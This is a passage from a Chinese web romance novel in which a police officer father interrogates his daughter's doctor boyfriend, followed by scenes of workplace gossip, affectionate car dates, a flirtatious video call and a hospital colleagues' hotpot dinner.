喻了了却半点没意识到问题的严重性,并排坐着,还要不停去够时霁的手,也不知是为了表达“我一定会保护你”的态度,还是“绝对不会让人拆散我们”的决心,动作幅度越来越大,看得他越来越火! 终于没忍住,再次暴吼了声:“还不给我滚一边去——” 喻了了闻言也有点火,虽然被撞破的第一瞬间是蛮尴尬的,但事后想想,自己又没做错什么,要不是他回来了也不提前说一声,自己又怎么可能把人带到家里来? 她都没有怪他坏了自己的好事,他居然还敢用这种语气和自己说话:“我凭什么——” 话说到一半,手臂就反被摁住,然后手心里的胳膊慢慢抽出。 时霁自觉同她分离开来,非常识时务地靠边坐了点儿,极力压着遍布身体与心灵的的悲悯感,强颜欢笑道:“……我滚就好。” 喻了了愣了一下,还要过去牵人:“你滚什么呀?” 吓得时霁当场又滚远了点儿,直接挨到沙发最边,并用一种类似于“行行好”的眼神看着她说:“没事,我觉得坐这儿挺好。” “……” 说真的,关于临门一脚突然被打断这件事,他确实是半点儿怨言都不敢有,现在也只是想端正态度,积极交代,争取宽大处理。 然后早点回家。 喻坚强的态度却没有因为他的配合而放软,相反还有点越发难以理解,喻了了怎么偏偏就喜欢这些绣花枕头? 小学那个是,现在这个也是! 他目光如炬,面带审判,不容置疑地开口:“姓名。” 时霁半点儿挣扎都没有,直接代入嫌疑人视角,并对心服口服地坦白:“时霁。” “年龄。” “26。” “职业。” “医生。” 他说着,又偏头扫了下边上:“什么关系。” “……” 喻了了的拳头一点点攥紧,听到这里终于忍无可忍:“你什么意思?!我都把人带回家了还能是什么关系?嫖。娼吗?!” 怕不是警官当上瘾了,把人当罪犯审也就算了,居然还能问出这种问题!!! 喻坚强也没好气:“那能说得准?万一还是绑架呢!” 他一想到她趴人身上,一顿操作猛如虎的场面,老脸都有点搁不住:“想通了就是自首,跟我这嚷嚷能减刑?!” “……” 可虽然如此,他也并不觉得对方就有多无辜,毕竟就她那脑子,除这二者之外,被骗钱和骗婚的可能也不是没有! 想到这儿,他看向另一边的气压就又低了些:“回答!” “……”时霁吓了一跳,一时也拿不准他想听怎样的回答,以及到底该怎样回答才能完好无损地从这里走出去。 也是在不停给自己灌输坐在对面的是个绝对伟光正的人民警察而非土匪后,才终于跟压上半条命似的说:“男、男女朋友。” 听到这里,喻坚强才稍稍松了口气。 不是绑架,没有犯法,祸不及三代,自己的饭碗应该还能保住。 他点点头,这才从警察的角色里跳脱出来,才想起自己好像还是个父亲,便又随口一问:“怎么认识的?” 时霁见他态度放缓,当即便有种劫后余生的虚脱,却仍然不敢懈怠:“在医院认识的,她过来就诊脱发,刚好是我给看的。” “脱发?”喻坚强愣了一下,想说自家好像也没这基因吧?更别说就喻了了那五大三粗的样儿,又怎么可能因为这点无关痛痒的毛病去就诊? “对。”时霁点头。 “确定是脱发?”他深表怀疑。 “……” 不知是否被这位刑侦出身的警官看出了些什么,时霁一时有些没底,然而更没底的却另有其人:“不然呢!” 喻了了冷不丁拔高声音:“我掉的头发都快把下水道堵住了,去看一下医生有问题吗?!” 本来是没问题。 见她这反应,倒是可以确定有问题了。 喻坚强基本可以判定,两人早在就诊脱发之前就已经“认识”。 不仅是喻了了认识他,从他犹豫的反应来看,应该也是一早就认识喻了了的,并且她似乎还不知情。 可两人已经正式交往,这事又有什么隐瞒的必要呢? 排除掉绑架的可能。 骗钱和骗感情的概率便 自然上升。 “医生?”他开始对此存疑。 “是。”时霁点头。 “哪个医院?” “长济。” 算是省内排得上号的医院,不太可能造假,他却还是不放心,审问便又升华为“政审”:“父母呢,都是做什么的?” 虽然初衷并不那么友好,但这的确也是个很寻常的问题,时霁的神情却微不可查地变了一下。 顿了会儿,才迂回道:“父母离异,联系都比较少。” 出于职业敏感,喻坚强第一时间就察觉到了他的闪烁其词,面色不由又沉了几分:“少到连从事什么职业都说不出来?” 他笑了下,淡声坚持:“不太了解。” 喻坚强拧眉:“知道我是做什么的吗?” 他点头:“警察。” “那你知道,警察最讨厌什么样的人吗?” 他默了下,像在自白:“不诚实。” “那我要是说,关于你的一切,我都能查得出来,你信吗?” 他轻笑了声,无不认同道:“当然。”- 喻了了完全不知道两人在打什么哑谜,只感觉得出喻坚强好像有点要威胁他的意思,本来就对此非常不满,等最后“庭审”结束,她想要跟出去安慰人时,他竟然又说太晚了不让她去,最诡异的是,时霁居然也让她不用送! 搞得她都有些惶惶,只能在关上门后反击:“你干嘛呀?!” 她天天加班通宵出差不着家,也从没见他多问过一句,现在就只是想出去安抚一下受到惊吓的男朋友,他居然连“太晚了不安全”这种话都说得出来?? 分明就是看她不顺眼,想让她分手就直说! 老实说,他还真有这个打算,毕竟干他们这行的,最忌讳的就是身家不清白,连自己父母是做什么的都不说来,又能是什么好人? 但转念一想,喻了了在外应该也憋不出半句关于自己的好话,他又觉得好像也不能这么武断,更重要的是,她也绝不可能乖乖听爸爸的话。 他便暂时也没自讨无趣,只在回屋前郑重警告了句:“之后每天晚归都要报备,11之后要是还见不到人,我就出动警车去公司逮你!” “……” 说完便反手甩上房门,来到窗台前,点着烟想了会儿,还是拨出一通电话:“给我查个人。” 正值班的朱承平立刻警觉:“谁?” “长济医院,一个叫时霁的。” “他犯啥事了?” 他顿了会儿,沉声:“让我闺女瞧上了。” “……” 朱承平噎了一下,确实也是很难不对此表示同情:“那还真是……犯了挺大个事。” 喻坚强噎得更久,半晌才呛着口烟怒吼:“你小子活腻了是吧?!” “哈……”朱承平赔着笑,不太走心地找补:“玩笑话玩笑话。” “但你闺女也不是第1回 瞧上什么人了吧?是不是小学那会儿,好像还强抢民男来着?当时也没见你有多大反应啊,这回怎么还动真格了?” 又是这段。 来来回回都不知被翻出多少茬了,喻坚强一听就来气:“那小学的事能当真吗?!” 朱承平却不以为意:“那后来的事也不少啊!” 没谁愿意见天听自己闺女的“黑历史”,他忍着烦躁吐了口烟:“这回不一样!” “哪儿不一样啊?” “……” 哪儿不一样啊,应该是格外不老实吧。 在明知道自己是警察的情况下,他都还敢撒谎,前后拢共就问了几个问题,竟然也答不上来,平时也不知道是怎么忽悠喻了了的,这就敢直接把人往家里带。 朱承平没忍住:“在您眼里谁算老实啊?小学被绑那个,老实吗?” “老实个屁!”喻坚强直接就爆了粗。 别看那小子每回都乖乖跟着回来,对着喻了了的时候惟命是从,可一扭头,就是八百个心眼想着该怎么逃! 他也是不懂,喻了了是打他还是骂他了,那么不情愿还要跟着回来?平白搞得她现在“声名狼藉”,一提起要处对象,所有人第一反应都是“绑架”。 想到这儿,他顿时便又起了阵邪火:“少废话!你到底查不查?!” 朱承平吓了一跳:“……那你想查什么?” 他这才平静了些,慢慢地又拔高声音:“最基本的个人履历、工作经历、感情状况,最重要的是,家庭情况怎么样!总之就是把能查的都给我查咯!” 朱承平不知当讲不当讲道:“你真想知道?” 喻坚强没好气:“你不废话!” 朱承平更没好气:“想知道自个儿走流程去啊!” “……” “什么人啊真是!轻飘飘来通电话就打发我去给你卖命,怎么的,我饭碗丢了算你的啊?!” “不是……”你正好在值班吗? “不是什么不是!”朱承平打断:“没事趁早歇着去,别打扰我值班!” “欸!欸老朱——” 他听着听筒里的忙音,不无疑惑地想着,肥皂剧里好像也不是这样演的啊? 第39章 第39章你能别在这时候吓我么? 因为这事,喻了了回家的第一晚就没太睡好。 本来是想等人到家后再打个电话的,却又因为害怕听到什么退缩的话,只草草说了句“晚安”后就放下手机。 翻来覆去一整晚,第二天还要被闹钟吵醒时,整个人别提有多暴走了。 早知道这样,还真不如像胡明宇说的,老实待到今天回来就好了,至少不会发生昨晚那样惨绝人寰的事情,更不用顶着这样绝望的心情去上班,再看着边上空空如也的工位,缅怀自己应该还在睡懒觉的同桌…… 她足足叹了十分钟的气,才勉强从悲痛中走出来,然后收拾东西,起身去参加总结会议。 一通被迫分享下来,整个人直接被榨至精干,急需采补精气! 所以等午饭过后,她二话没说就把人推进后座,关起门来就是一通啃,却一直到双双体温升高,都仍然觉得补给有点不到位似的,冷不丁就抱着人开始哭诉:“怎么办,我好想睡你啊呜呜呜……” “嘶……” 时霁闻言,条件反射就把人推开了些,又下意识往窗外看了一圈,才一脸痛苦地回过头来:“你能别在这时候吓我么?” 这种猛然被逼停的事,别说亲身经历了,但凡多回味几次,都指不定得当场废掉好吗! 还睡他呢,都不如杀他来的快些。 喻了了唔了一声,很快又粘回去,虽然不知道有什么好怕的,却还是安抚了下:“他也要上班的,才不会闲的没事过来找我。” “万一呢。”他却仍是副阴影面积很大的样子,又自保似的,更加痛苦且后怕地提议:“要不我们暂时还是别见了吧?” “不可以!”她立刻坐直,两手并用捂住他的嘴巴,也非常郑重且严肃地回:“撤回撤回!再说我就要生气了!” “……” 开什么玩笑,她好不容易才熬到驻场结束,还想着从此以后每一天都要腻腻歪歪的,又怎么可能会允许这样的事情发生啊!!! 她一时激动,力道用得猛了点儿,差点没把时霁憋死,临近窒息才掐了把她的腰,脱身之后气性立刻就上来了:“下来吧。” “啊……”她自知理亏,松开后马上又抱住他的腰:“我还没亲完呢!” “亲不了了。” “为什么呀?” “没买保险。” “……” “买买买! “她连忙哄道:“我给你买!” 他却仍是副卖艺不卖身的样子,非常坚持:“那也不行。” 她一脸不解:“又为什么呀?” 他一把捏住她的脸,恶狠狠:“真要用上了,我还能有机会开心得起来?” “……” 她懵了一会儿,想想还真是,最后别无它法便又开始耍赖,死死抱着人,“逼良为娼”道:“那我不管!” “反正我就是每天都要见到你,每天都要抱,每天都要亲!!!” …… 话是这样说,但因为临近年底,本来就大小会议不断,这段时间因为驻场而落下的其它项目的进度,也要一应补上并整合总结,各种事情堆起来的时候,常常连饭都顾不上吃,通宵加班也变得越发频繁。 时霁经常就是大半天收不到消息,一收到就是:【中午别过来了】 【晚上也别来了】 【明天还不一定】 【你自己早点睡吧】 【等我忙完这段再说】 【……】 搞得他都开始有点怀疑,这是不是某种偏门的冷暴力,要不是因为忌惮喻警官,估计早就上门一探究竟了。 危机感横生,之后每逢见面,他也完全忘了那份卖艺不卖身的自傲,但凡能把人拐到车里,就只竭尽所能地想要留客。 然而每回都还没来得及施展,她就已经腻味了似的,随便亲一下就要以繁忙为由,撂下一句“我真的得走了”,就毫不眷恋地拍拍屁股走人。 “……” 喻了了进了大堂,见几部电梯都才刚从底层上去,估摸下趟还得等几分钟,就先去了趟边上的洗手间。 刚走进隔间,外头就又进来几个人,听动静像在补妆,很快又开始攀谈。 “真搞不懂那谁,都这样了,居然还有脸在公司呆下去。” “不甘心呗,都爬到这里了,现在跳槽还能去哪儿啊?” “那还能就这么赖下去啊?光拿工资不干活,也不知道是在膈应谁,想到每天一起共事的是这种人我就晦气!” “就是,也不看看她到底是凭什么爬到这里的?已经占了这么多年的好资源,又有什么可不甘心的啊?” “凭什么?凭脸呗,听说活儿也不错,要不能这么多年把黄总哄得服服帖帖?都这会儿,还舍不得让人走呢……” 聊得正欢,身后隔间忽然打开,几人立即噤声,直到见里头出来的是个生面孔,才相继松了口气。 毕竟这栋楼里足有上千人,说是同个公司的,但只要出了所在部门,就几乎谁也不认识谁。 几人放下心来,刚要回头继续聊,边上安静洗完手的人却突然回过身来,挺不解地问了一句:“你们是怎么知道的呢?” 到底是在背后编排人,其中一人愣了愣,明显有些心虚:“……什么?” 喻了了也没什么恶意,单纯就是好奇,所以语气也很平和:“这么私密的事情,你们是怎么知道的呢?” “是晚上加班,趴在人家床底下偷听的吗?” “……” 众人愕然。 僵持几秒,表现最为不忿的那人猛地向前,正要同她理论,另个隔间也从内打开。 Flora踩着双极细高跟走出来,精致妆面上的神情讥诮,迎上几人仿若见鬼般的目光:“看不出来,大家原来都这么关心我?” “……” 众人再无二话。 像怕她临走之前还找人陪葬似的,纷纷低下头去,落荒而逃。 她冷笑着欣赏完这一幕,才慢悠悠回过头来:“有空吗?” “请你喝杯咖啡。” 虽然已经猜到刚刚那些话针对的是谁,但喻了了的确也没有要为她打抱不平的意思,只是单纯觉得那样说话很不礼貌,才稍微制止了下。 更别说她现在真的很忙,忙到连陪男朋友的时间都没有:“抱歉,我——” Flora却忽地打断:“我要离职了。” “……”- 喻了了其实不是个很好的倾诉对象,因为她很难共情一些悲伤却又无法解决的情绪,对她来说,处理问题的态度有且只有两种,直面和略过。 但这显然非常不具有普适性。 所以最后陪着人往外走时,她的压力其实还蛮大的,完全不知道一会儿该怎么应对,才能让她的心情好一点。 但Flora说请她喝咖啡,好像就真的仅仅只是喝咖啡,全程也只提了几句和咖啡相关的话题,直到见她紧张兮兮地,一口接一口的抿掉,才忽然笑出声来,冷不丁便夸了句:“你真可爱。” “……” 搞得喻了了都有点疑惑。 我是什么吉祥物吗?看着我心情就能变好? 时霁的回答是:“差不多。” 但一想到她牺牲掉见自己的时间,是去陪别人喝咖啡,他的气性就又不自觉上来了。 “哎呀,那她不是心情不好嘛。” 她立刻就从副驾爬过去,抱着他的脖颈开始亲:“而且我这不是都提前下班来陪你了嘛。” 自打“有家不能回”后,两人近期的聊天见面,基本就都在车里进行。 今天日子特殊,她本来是想早点干完活再下班的,但因为中午陪人喝完咖啡后又坐了会儿,回去之后堆的工作怎么看都是做不完了,她索性就摆烂了下,想着反正过不了几天就放年假了,大不了自己就晚两天,把事情做完了再放。 打定主意之后,就果断微信摇人,提前溜号! 这会儿就在自家小区门前,用一种非常不像聊天的姿势和男朋友聊着天。 时霁也已经习以为常。 因为交流和亲热都很需要,但每天的时间又很紧凑,所以两者经常都是同时进行的。 他接住朝自己扑来的身体后,便微仰着头,边回应她的吻边问:“之前不还把人当情敌么,情敌心情不好你也管?” “啊……”喻了了这才退开了点,有点尴尬地说:“但好像是我小人之心了欸。” 时霁:“?” 她跨坐在他身上,想想又有点得意,笑起来说:“因为她好像并没有看上你欸,之前故意那样说,也就只是想把你赶跑而已。” 他都有点怀疑自己听错:“??” 公司最近关于她的传闻很多,喻了了其实也不太清楚孰是孰非,只知道她很早就进公司了,一直都待在公建部,资源好,能力强,在周围几乎都是男人的情况下,照样有可以拿得出手的作品,水平甚至还不输任何人。 可能有点太冒头了吧,又因为长得漂亮,打扮时髦,所以总有人说她路数不正,并直接以此否定掉她所有的能力与成就。 而如今行情不好,资源紧缩,裁员势在必行,公建部又是大头,那些曾经被她压了一头的男人们,谁也不想让出饭碗,便抱作一团,让她成了众矢之的,被编排,被架空,整天没什么事做,还不能就这么灰溜溜的逃跑,因为那无疑就等同于“认罪”。 她想了想,才斟酌着说:“就是,女性在职场里真的很不容易,她也算是吃了男人的亏吧,前段时间又刚好看到我拿奖了,这个在公司官网上有公示的,然后可能就觉得我挺好的前途,要是就这么被男人浪费掉也太蠢了,她又刚好没什么事做,就想顺手‘除暴安良’一下。” 时霁简直匪夷所思:“那凭什么光盯着我除啊?来接你的又不止我一个。”但凡她出手精准点,他那段时间都未必会受那么多气! 喻了了也觉得有点好笑:“因为就只有你是天天在大堂里等的我嘛,其他人她也接触不到啊。” “……”时霁服了:“她跟你有这么熟吗?” “不熟啊。”所以她才有点惭愧的。 “你知道那个部门吗,就是专门做些城市公共建筑和设施的部门,例如地标性的高楼,歌剧院,公园展馆等等,因为需要对外展示,所以对艺术性和项目把控能力的要求都非常高,算是体现一家建筑公司最高水平的所在部门,也是入围各类建筑奖项的主力军。” “能在那个部门待下来,并拥有一定成绩的人,绝对不可能没有真才实学。” “我就是毕业那会儿运气好,进去实习了半年,最后的结果是都不用人赶,我就很有自知之明的卷铺盖跑路了,当时来地产板块,也就只是想再试试看,要还是不行,我可能就得去找别的出路了。” “但她不仅待下来了,现在提起中寰的建筑师,也绝对没人可以略过她的名字,然后就这样一个人,居然会注意到我取得的小小成就,而我居然还以为她是 要害我……” 她绘声绘色的,越说越有些激动,要不是知道对方是个女性,他都要怀疑这是什么移情别恋的前兆了。 本来就有点不爽,在看到她对自己差点被“除掉”这件事表现地如此开怀后,直接就掐了把她的腰,冷声道:“她倒是没想害你,但想害我估计是没跑了。” “啊……”喻了了扑腾了下,还是为她说话:“哎呀,又没害到嘛。” 很快又笑着去亲他,像个左右逢源而不自知的渣男:“我还是最喜欢你呀!mua~mua~mua~~~” 第40章 第40章擦边表演。 聊完一阵,夜也渐渐深了下来。 也不知是情绪使然,还是暖气的缘故,喻了了觉得今年的冬天好像要格外暖一些,每每窝进他怀里亲密畅谈,总也不舍得就这么爬起来。 她很喜欢他听自己说话,喜欢他对自己的事情感兴趣,喜欢不管自己说什么他都会有回应,虽然有时候的反应并不那么平和,但又很好哄,多亲几下就总能赖过去。 这让她在他面前,表达欲总是前所未有的浓烈,不管多小的事,总会第一时间就想和他分享,虽然大多好像也没什么意义,但好像仅仅只是和他交流这件事,就足够让人开心。 时光一路向前,不知觉就从盛夏来到深冬。 这段时间被提起最多的热词无异于“年假”,她却因为日程繁忙,总是没有太强的代入感,直到在这会儿的惬意间,才忽然想起来似的,抬头问了下:“你什么时候放假呀?” “再一周吧,医院放得晚。”他答完,垂眸反问:“你呢?” “还有两天!”她这才有点实感似的,略略激动地说:“不过我手里事情多,可能得再晚一两天,但肯定也比你早。” 年假长算是建筑这行难得的好处了,前后最少也能有15天,一想到接下来终于能有大把时间专注谈恋爱,她就忍不住期待:“那你有什么安排吗?” 他想起什么:“快过年了,周五晚科室聚餐,你去么?” “啊?”她愣了愣:“你们聚餐我去合适吗?” 他顿了下,眉梢轻挑:“说是让带家属,你要觉得不合适……” “合适!”她立马打断,并不容置疑道:“我周五晚差不多应该就忙完了,到时候直接过去找你!” 他笑起来:“行。” 她松了口气,想想又有点蠢蠢欲动:“那周六干嘛?” “想那么远?”这一天天朝不保夕的,见了上面没下面的,他倒还真没想那么远。 “哎呀。”她抠抠他的喉结,像完全没有私心的样子:“假期嘛,不提前规划一下很容易就躺着结束了呀。” 他倒也没直接拆穿,只勾了勾唇:“你想干嘛?” 她眼睛一亮,毫不犹豫:“游泳!” 他仰头,哭笑不得:“喻了了,你还贼心不死呢?” “那怎么了嘛!”她不满地撅了下嘴:“之前不答应也就算了,但你现在都是我男朋友了,看你游泳很正常啊!” 而且这个季节,游泳馆里估计都没什么人,既不用担心会被别人看到,自己欣赏或者想做点什么也都非常方便…… 时霁猜都能猜到她在想什么:“那就更不能去了。” 喻了了瞠目:“为什么呀?!” “还为什么。”他没好气地掐她:“出了事你负责?” 之前好歹还能拒绝,现在连拒绝的理由都没有了,要真在游泳馆里发生什么,他还做不做人了? 她惊呼着回:“我负责就我负责呀!” 讲道理,他们都在一起多久了,居然到现在都还没看过他的腹肌!有时候接着吻想偷摸一下,也是刚碰到就直接被他拦住!嘴上说着去游泳馆不方便,但在车里的时候也没见他有多开放啊! 这么想着,她又有点不甘心,手心下移,又试图找事。 他精准预判,冷笑着捉住:“你怎么负责?” 这会儿已经十点多了,距离她的“门禁”也没多久了,她居然还能大言不惭:“就是那样负责呀!大不了我先回趟家,然后再偷跑出来嘛。” “拉倒吧。”他想都没想:“嫌我命太长直说。” “哼……”她像眼睁睁看到快到手的奖励不翼而飞,生气咬了下他的喉结:“那怎么办呀?今天都已经两个半月了啊!” 时霁闷哼了声,低眸睨她:“所以呢。” 她挣扎着把手抽出来,几次探向目标:“所以就特别想对你做点什么啊!” 他阻拦不及,只能将人扣进,并将双手反剪在后,恶狠狠警告:“做不了就别撩。” 她的感觉便愈发明显,歪着脑袋吻他:“但你都已经有反应了啊。” 他像被击中命门,手中力道松懈一瞬:“这是你深入犯罪的理由吗?!” “不管!我就要摸!”她轻巧挣脱,执意如此似的,咬住他下唇之前,指尖便灵敏拨开衣摆,触抵薄肌的刹那,亲吻也一应深入。 “……” 感知被彻底入侵,他微仰着头,被动卷入她热烈到近乎失控的呼吸里,已然无可挽回似的,再也无从挣扎。 她便肆无忌惮起来,指尖在唇齿触碰间,一点点勾勒着纹理,引得锋利喉结一再滚动,贲张薄肌愈发紧绷。 她像是体验到了前所未有的刺激,连同心跳也从身体里剥离,感知里的一切都趋于滚烫,终于反被扣着后腰,难耐地摩挲与蹂。躏。 细密的呼吸交换间,身体一点点变得靡软,急剧流失的氧气,也像要将人至于濒死的境地…… 不知过了多久,乱透了呼吸才逐渐分离开来,两人翕张着唇,互相衔走唇角暧昧的津液,稍缓一点,便又食髓知味,覆土重来。 混沌之中,他的体温愈渐暴涨,碾过她脖颈的呼吸,也到了近乎要烧燃起来的程度,最后出口的声音更像是饱经苦楚,艰难地如同从喉咙里挤出来一般,低靡又破碎:“喻了了。” “我快被你弄死了。”- 23点一到,喻了了准时打开家门,和客厅里正准备外出抓人的老父亲对视一眼后,就迅速溜回房间。 一副已经被工作折磨得身心俱疲,根本没有时间再去做别的事情,并只想赶紧收拾完安详躺平的模样,抱着衣服就钻进了浴室。 半小时后,老实关灯缩进被窝,翻滚着回味了会儿,再拿起手机时,屏幕上就已经显示有未读消息。 她解锁查看了眼,想着时间有点晚了,就稍微按捺了一下,结果却还是没忍住,反应过来的时候语音就已经拨了出去。 另一边。 时霁刚把花洒打开,丢在洗手台的手机就响了起来,不是消息,是来电。 他顿了下,还是过去接了起来,那头的声音闷闷的,像正窝在被子偷笑:“时霁,你在干嘛呀?” 他回到淋浴间,把手机放到壁龛上,声音凉凉:“你说呢。” “……” 那边短暂地默了会儿,而后突然没了声音。 时霁愣了愣,刚又拿起手机查看,就发现被挂断的语音,猛然切换成了视频:“…………” 他斟酌片刻,把拒接的后果想过一通,无奈还是点击接听。 对面的画面是黑的,除了被屏幕的光亮隐约衬出的一点五官外,什么也看不见,却霸道的要求他:“你把手机放远点,镜头也再往下一点。” “……” 喻了了盯着屏幕里已经被打湿的轮廓,墨色发梢被捋到后头,将额头与眉眼完整的暴露出来,热气氤氲的面容雾色很浓,连同被水流浸润的喉结与宽肩,一并扩容她的眼球。 她躺在床上,不自觉 地吞咽了下,便见对面眯缝着眼,冷不丁呛了句:“喻了了,你是流氓吗?” 她半点不怒,心态很好的使出万能语录:“哎呀,反正早晚都是要看的嘛,现在先看一下又不会怎么样。” 折腾了他一晚还不够,都到家了还要支使他擦边表演?? 他冷笑:“想的挺美。” “挂了。” “啊……”她连忙坐起来:“等下等下!” 倒也没真指望他能这么好说话,但这机会千载难逢,怎么着也得多看几眼并截图保存吧?但她连着按了一通,角度都不甚如意,并且右上角始终有个己方画面,欣赏起来都有所阻碍。 她思忖了下,很快便自觉割舍很大地退而求其次道:“要不你等会儿给我拍张照片吧?” “?” 他指尖落在挂断键上:“拍什么。” 她一本正经的,丝毫没什么不妥地说:“就是胸肌啊,腹肌啊,能露多少就露多少的那种。” “当然了,你要是愿意直接给裸。照,我肯定也是没意见的!” 他简直叹为观止:“……” 虽然已经问过很多遍了,他的三观却还是被震撼了一次:“喻了了,你真的没有因为性骚扰进去过吗?!” 她满怀期待,骤然听出他话里绝不可能的意思,登时便哼了一声,翻脸道:“我生气了,不跟你说晚安了!” “再见!” 时霁:“……” …… 她气鼓鼓的,放下手机就翻了个身。 闭眼准备睡觉,但刚刚的画面又有点难以清空似的,越是闭眼就越是清晰。 她翻滚几次,还是没忍住,再次解锁翻了会儿相册,把截图拖进ps软件,用尽毕生的p图绝学,竭尽所能把画面质感呈现到最好后,结果却还是不尽如人意。 不仅画质模糊,尺度也非常有限! 她叹了口气,在哀怨中十分后悔的想,自己刚刚的脾气怎么就那么大呢?再多纠缠一会儿说不定就有了呢? 实在不行,拍个高清的肩线其实也不是不能接受啊…… 她越想越后悔,连进入梦乡都带着深深的遗憾,以至于整晚的梦境,也都是在关键处戛然而止。 第二天醒来的时候,整个人都有点郁郁寡欢,完全失去了抵御寒气的能量,半点也不想起床,便又在被子里窝了会儿,一直到实在拖不下去了,才摸着手机坐起来,却发现置顶栏上不知何时多了几条未读消息。 她虚睁着着,随手点开,猝不及防收入一张人像照片! 背景是在床头,微弱灯光下的面容轮廓分明,神情倦懒,深色睡衣开了几颗扣,喉结之下的薄肌便半遮半就,微微向她敞开。 像是在临睡前改变主意,随手举着拍了一下,周身便遍布一种无可奈何,放低姿态哄她开心并随她怎样的摆烂似的欲气…… 喻了了深吸口气,当场扬言:【时霁!我要睡你!!!】 那头抽空查看了眼:【嗯】 继而勾了勾唇,盛情邀约:【什么时候?】魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 40-50 第41章 第41章错了,是过敏。 临近年节,人流开始活跃,各种事故频发,警局的任务也日益繁重,时不时地就有突发事故需要处理,就算偶尔太平,安防工作也仍然不容小觑。 所以这段时间,喻了了晨起就从来没有在家里见到过人,晚上哪怕有个11点的门禁,但等她推门回来时,客厅也时常是空无一人。 并且她其实未必就有那么听话,说11点回就得11点回,只是刚好这段时间大家都忙,她既没有时间和精力搞事,也无意去给维护社会安定的公共事业添乱罢了。 但是! 再过不了几天,她就能恢复全天整整24小时的人身自由,稍微避着点人民警察,去做一些完全符合伦理纲常的事情,不过分吧? 打定主意,她便一鼓作气,连着几天都干劲十足,一度忙到觉都睡不了几小时,都毫无怨言地站好了最后一班岗! 周五傍晚。 她把所有项目文件分类压缩,发送到相应的对接人邮箱,并抄送给几位相关领导后,就果断关机息屏,提报跑路,一溜烟蹿到大堂,毫无形象地飞扑进一道坚实胸膛。 占着假期人少,直接就支使着人一路把自己抱回车里。 安全带被扣上的时候,她很满意地抬头亲了一口,等人回到驾驶座,又兴冲冲地侧过身去:“我们去吃什么呀?” “火锅。”时霁唇角衔着笑,起步间隙瞥她一眼:“可以?” “可以呀!”她定定点头:“本来最近天冷我就有点想吃,而且聚餐的话不是应该一早就定好了吗?” 他也不是个多规矩的人,想的是要不行的话就单独去开小灶,闻言便只说:“可以就行。” “嘿……” 因为要给工作收尾,两人出发得晚了点儿,到餐厅时天已经黑了,科室的人也早已到齐。 包厢被热气熏得烟雾缭绕,一进门,锅底的香味顿时扑鼻而来。 喻了了一闻就有点馋了,被时霁带到两个并排的空位坐下,边看着他给自己涮碗,边听众人起哄: “靠——真带来了??” “我还以为开玩笑呢,居然真铁树开花了?” “那不然呢?这段时间一到点就跑,饭不跟我们一起吃,人也完全约不上,难道是去闭关修炼?” “大惊小怪。”只有周晨一脸淡定:“搞得好像没吃过人送的小蛋糕一样。” “你是不奇怪。”时霁把烫过的碗筷放好,冷笑着看过去:“现在多重了?” 周晨:“…………” “噗哈哈哈哈哈哈——” “敢情你两的爱情滋润的是他啊?” “啥意思啊?我怎么没听懂??” “没见他隔三差五的早餐夜宵下午茶不断吗?问就是做助攻的犒劳,都几个月了,能不胖吗?” “给时霁女朋友助攻?” “不然呢?” “那是能吃不少……这家伙那么难搞,不下点血本都攻不下。” “我说他最近胃口这么大呢,才坐下多久,肥牛下四盘了已经……” 周晨挂不住,恼羞成怒:“能少说两句吗?!锅都煮烂了还不吃!!!” “吃吃吃……” “靠——”杜青林扭头就见时霁给人夹好了小半碗,荤素搭配,连小料都给调好了,当下便瞠目道:“你给他下蛊了?他一个自己饭都吃不好的人,什么时候变这么体贴了??” 喻了了懵了一下,反应过来他是在和自己说话,还挺奇怪的顿住筷子说:“没有呀。” “他不是一直都这么体贴吗?” 众人:“…………” 你确定??? 时霁眉梢轻挑,一副滤镜在手、天下我有的模样,又给她捞了点虾滑,反问:“有问题?” 杜青林一阵哆嗦:“问题是没有,但这边还是建议你去挂个脑科。” “心理科也行。” “不应该是精神科吗?” “都看都看……” 气氛放开,沈长耀遥想起当初那个视频,越发觉得她是个能干大事的人,更不由好奇:“欸,话说回来,你到底是怎么把这家伙追到手的啊?” 众人闻言,也纷纷顿住声音看过来,人均一副对知识无比渴望的认真脸,有人甚至已经打开录音,准备拿回去反复学习并运用到实操当中。 开玩笑,连这家伙都能搞定并制服的,那得是什么级别的追爱技巧啊!!! 喻了了却被看得超级懵,满脸都是小学生被迫要给大学生演讲的呆定。 傻了半天,才自己也不太确定的回忆了下:“就是……一直挂号找他看病啊,然后有空就约他一起出去玩,熟了之后就很容易啊。” 沈长耀心道果然!高端的食材往往只需要最简单的烹饪,认真记下后,又从细节入手:“那你都找他看了哪些病?” 怕她会漏掉重要环节,说着又侧重强调:“就从你对他一见钟情,致使你两结缘的第一个病因开始说起!注意,要展开说明!” 喻了了摸了摸耳朵,又有种被老师当众拎起来提问的感觉。 但还好,这题她会! “脱发呀。”她神色如常地说完,又看了时霁一眼,见他好像也蛮期待自己会怎么说的,便有点被 鼓舞了似的,很快就换了副熟练的表情,回过头来,毫不藏私地分享:“那段时间我工作忙,经常熬夜,头发掉的非常厉害,再不及时就诊就要秃了的那种!” “然后就随便在官网上挂了个号,刚好就是他给看的,我就发现他不仅长得特别好看,还很专业、细心、温柔、体贴,就主动跟他要了联系方式呀……” 她越说越像那么回事,全然没注意边上的人都笑成什么样了。 一直到分享完毕,时霁才啧了一声,不知是担心众人上当受骗,还是突然就有点想看小骗子被拆穿后的反应,冷不丁便来了句:“错了。” 喻了了偏头:“?” 视线对上,听见他饶有兴味地纠正:“是过敏。” “……?” 她顿时睁大眼睛,表情惊恐地像猛然遭到一记重拳,顷刻就将她坚定的信念瓦解,错乱之中,脑子里种种问号呼啸而过,并缓缓拼凑成一个恐、怖、猪、头…… 他居然记得?但是怎么可能啊?? 自己明明是隔了很长一段时间才再出现的,如果不是记忆力足够好的话,那就只能说明自己当时的症状,已经到了“过目难忘”的地步,最重要的是,他既然一开始就知道,又为什么要到现在才说? 没记错的话,这段时间应该不止一次被问过初遇这个话题,而他们的口径也一直都是统一的脱发啊…… 她像是世界观坍塌了似的,整个人都由此处于懵圈状态,自己都被问号砸得忙不过来,更无从耳闻大家又问了些什么。 只有视觉看到时霁好像和他们说了什么,之后的话题便也没再围绕着两人。 可尽管如此,她的疑问也还是没有消除,想问些什么,又感觉时机好像也不是太对,以至于后半程吃饭都心不在焉,等到聚餐结束,大家起身准备转场时,也全然没有加入的心情。 时霁见状,便就带着人先行离开。 一直到回到车里,她才终于像是从迷宫中走出来般,对着把自己丢进去的人,有点生气,但又不是那么有底气地质问:“你怎么知道的?” 他顿了一下。 